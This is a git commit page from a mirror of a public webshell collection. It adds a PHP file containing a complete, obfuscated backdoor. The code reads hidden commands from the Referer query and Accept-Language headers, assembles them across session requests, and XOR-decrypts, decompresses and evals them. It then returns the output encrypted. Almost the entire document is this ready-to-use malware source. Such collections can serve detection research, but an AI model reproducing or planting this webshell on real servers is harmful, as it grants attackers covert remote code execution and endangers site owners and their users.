mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
Create tk_dencode_1.php
This commit is contained in:
parent
f429c6231d
commit
a625a73706
1 changed files with 52 additions and 0 deletions
52
php/tk_dencode_1.php
Normal file
52
php/tk_dencode_1.php
Normal file
|
@ -0,0 +1,52 @@
|
|||
<?php $kh = "3481";
|
||||
$kf = "9d7b";
|
||||
function x($t, $k) {
|
||||
$c = strlen($k);
|
||||
$l = strlen($t);
|
||||
$o = "";
|
||||
for ($i = 0;$i < $l;) {
|
||||
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
|
||||
$o.= $t{$i} ^ $k{$j};
|
||||
}
|
||||
}
|
||||
return $o;
|
||||
}
|
||||
$r = $_SERVER;
|
||||
$rr = @$r["HTTP_REFERER"];
|
||||
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
|
||||
if ($rr && $ra) {
|
||||
$u = parse_url($rr);
|
||||
parse_str($u["query"], $q);
|
||||
$q = array_values($q);
|
||||
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
|
||||
if ($q && $m) {
|
||||
@session_start();
|
||||
$s = & $_SESSION;
|
||||
$ss = "substr";
|
||||
$sl = "strtolower";
|
||||
$i = $m[1][0] . $m[1][1];
|
||||
$h = $sl($ss(md5($i . $kh), 0, 3));
|
||||
$f = $sl($ss(md5($i . $kf), 0, 3));
|
||||
$p = "";
|
||||
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
|
||||
if (strpos($p, $h) === 0) {
|
||||
$s[$i] = "";
|
||||
$p = $ss($p, 3);
|
||||
}
|
||||
if (array_key_exists($i, $s)) {
|
||||
$s[$i].= $p;
|
||||
$e = strpos($s[$i], $f);
|
||||
if ($e) {
|
||||
$k = $kh . $kf;
|
||||
ob_start();
|
||||
eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
|
||||
$o = ob_get_contents();
|
||||
ob_end_clean();
|
||||
$d = base64_encode(x(gzcompress($o), $k));
|
||||
print ("<$k>$d</$k>");
|
||||
@session_destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
?>
|
Loading…
Reference in a new issue